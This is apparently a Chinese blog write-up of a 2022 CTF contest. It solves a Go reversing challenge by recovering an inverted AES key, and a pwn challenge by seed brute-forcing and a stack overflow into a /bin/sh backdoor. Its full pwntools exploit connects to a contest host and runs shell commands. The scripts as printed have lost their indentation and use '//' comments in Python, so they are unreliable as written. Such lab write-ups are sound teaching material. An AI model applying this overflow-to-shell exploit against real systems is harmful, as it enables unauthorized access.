2022某线上赛比赛复盘

re

要求掌握的基础知识技能: IDA使用、程序编译框架识别、go语言开发、go编译后程序的特点、aes加解密
用到的工具:ida 7.6 sp1及以上、file命令

首先打开压缩包解压,查看下程序是什么语言、架构的程序。

使用file命令可以查看程序的目标系统名称、文件格式以及部分编译语言信息,从这里可以看出来程序是x64 linux系统上的ELF格式的文件,采用go语言编译,没有调试符号。
IDA 7.6 sp1及以上版本对于go语言的识别和逆向支持的比较完善,低版本IDA需要使用开源的go语言符号解析插件才能支持符号识别。这里用IDA 7.6 sp1打开目标程序。

IDA载入程序,等待IDA分析完毕之后,可以自动识别并展示程序当中的符号信息,之后进入main_main函数,按TAB或F5反编译代码,首先会输出提示信息Input,在linux系统上运行程序验证一下。


接下来调用Scanf等待用户输入数据

对输入的数据长度进行比较,数据长度必须在0到96之间,且必须为16的整数倍,否则会程序打印提示wrong len并退出校验。
之后调用main_Encrypt对输入的数据进行处理,并将返回结果与off_5A2350处的目标数据进行比较,相同则打印Right, the flag is DASCTF{Input},也就是输入的数据为flag,否则不同的话打印wrong。


所以最终要分析的目标函数是main_Encrypt函数。


main_Encrypt函数当中在一个循环当中调用aes_NewCipher函数调用AES加密算法对输入的数据进行加密,其中加密密钥内存地址为off_5A2370。循环次数取决于a2是16的多少倍,并且在循环尾部会对加密密钥的其中一个字节进行自增处理,自增次数为16,每次增加1,也就是每次循环改变密钥的其中一字节,增加16的大小。


但是当用程序当中给出的密钥off_5A2370对密文off_5A2350进行解密时,无法解密得到正确的flag数据,这个比赛时没考虑到go语言编写的程序的函数执行顺序。
具体可参考以下文章,关于go程序的函数执行顺序。https://www.anquanke.com/post/id/218674
根据文章当中描述的,go当中的package init函数会先于main_main函数执行,也就是main_init要在main_main函数之前执行。

main_init在完成一些go标准库的初始化工作之后,会调用main_init_1函数执行用户定义的初始化工作。

其中main_init_1用户自定义的初始化函数当中会对程序当中保存的密钥off_5A2370数据进行取反操作。写段C代码对数据进行取反解码操作。


解码得到真实的AES加密密钥为1234567890abcdef。
拿到真实加密密钥,再对密文off_5A2350进行解密,拿到flag。
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Cipher import AES
with open('enc', 'rb') as f:
enc = f.read()
key = b'1234567890abcdef'

// 前16字节为原始密钥
cipher = AES.new(key, AES.MODE_ECB)
print( cipher.decrypt(enc[:16]))

// 第二次解密对首字节加16
key_copied = [k for k in key]
key_copied[0] += 16
key = bytes(key_copied)

cipher = AES.new(key, AES.MODE_ECB)
print( cipher.decrypt(enc[16:32]))

// 第三次解密对密钥的第二个字节加16
key_copied = [k for k in key]
key_copied[1] += 16
key = bytes(key_copied)

cipher = AES.new(key, AES.MODE_ECB)
print( cipher.decrypt(enc[32:48]))

pwn

要求掌握的基础知识技能: IDA使用、栈溢出漏洞、linux伪随机数原理
用到的工具:ida 7.6 sp1及以上、docker pwn环境
首先将附件程序解压放到pwn环境当中,检查下程序的保护措施。

可以看到程序没有stack canary保护,可以直接利用栈溢出漏洞覆盖函数返回地址,不需要泄露canary栈溢出时覆盖正确的值。
程序没有开启PIE保护,内存加载基址恒为0x400000。

通过IDA分析该文件,main函数会调用两个函数sub_401296和sub_4013C7。其中sub_401296会使用随机数种子和当前时间的异或值设定rand函数的种子。

sub_4013C7首先调用rand函数生成随机的secret。

sub_4013C7接下来打印菜单内容,并根据用户输入的不同选项进入不同的代码块,输入2会打印当前生成的随机数数据,并在打印secret后重新生成;输入3会退出while循环,进入随机数secret校验部分;输入1会进入用户输入数据代码部分,这里存在栈溢出漏洞,用户输入的数据可以超过实际分配的栈内存大小,可以覆盖当前函数返回地址,在函数返回时控制函数返回地址执行任意代码。

由于v2变量在栈溢出覆盖函数返回地址的时候会导致被覆盖,而函数在返回前会校验v2的值是否与生成的secret相同,因此这里需要预测secret的值。这里就涉及到了一个叫伪随机数原理,即虽然通过srand函数设置了rand函数的种子,能够确保程序在一次执行过程中生成的随机数不同,但当另一个程序设置相同的种子时,这两个程序生成随机数序列将相同,具体可参考链接:https://we.buptmerak.cn/archives/310
因此这里需要爆破随机数种子,通过调用2泄露目标程序生成的第一个随机数,与我们本地爆破生成的随机数比较,相同则说明种子与目标相同,我们可以用这个种子再次生成随机数,该随机数与目标程序生成的相同。
在程序中的main函数上方一个函数sub_401579,可以看到该函数调用了system(“/bin/sh”),该函数为后门函数,通过栈溢出控制函数的返回地址为0x401579即可实现getshell。

exp编写:

首先看下当前函数的栈数据大小为0x70,其中88字节为buf的数据,这些任意填充,之后8字节为v2的数据,需要填写预测的secret的值,剩下还需要填充0x70 + 8 - 88 - 8长度的数据才会到函数返回地址处,其中0x70 + 8的含义是由于函数入栈会调用push rdp保存栈底基址,因此这里需要加8偏移才会到函数返回地址处。
exp当中关于为什么不直接将返回地址覆盖为后门函数地址,而是先找到一个ret地址,然后再执行,这是由于栈对齐问题,具体可参考以下链接:https://mambainveins.com/2021/08/15/2021/2021-08-15-HWS_PWN/

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from ctypes import *

c=cdll.LoadLibrary("libc.so.6")
#context.terminal = ['tmux', 'splitw', '-h']
#p = process("./MyCanary3")
context.log_level = 'DEBUG'
p = remote('43.138.105.155', 50000)
backdoor = p64(0x40157D)
ret = p64(0x40158F)
buf = 'a'* 88
p.recvuntil('Input your choice\n')
p.sendline('2')
p.recvuntil('My secret is ')
secret = int(p.recvuntil('\n').strip(), 16)
seed = 0
p.recvuntil('Input your choice\n')
p.sendline('1')
p.recvuntil('Show me the code:\n')
for i in xrange(0xFFFFFFFF):
c.srand(i)
num = c.rand()
if(num == (secret>>32) and (c.rand() == secret&0xFFFFFFFF)):
seed = i
break
c.srand(seed)
c.rand()
c.rand()
secret = c.rand()
secret = secret<<32
secret += c.rand()
print hex(secret)
buf += p64(secret) + '\x00' * 0x18 + ret + backdoor

p.sendline(buf)
p.recvuntil('Input your choice\n')
p.sendline('3')
sleep(0.1)
p.sendline('cat flag')
print p.recvline()

加了ret指令的exp执行结果,程序正常运行,没有出现崩溃

不加ret指令的执行结果,程序崩溃,原因就是push rbp指令执行时栈地址没有对齐。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!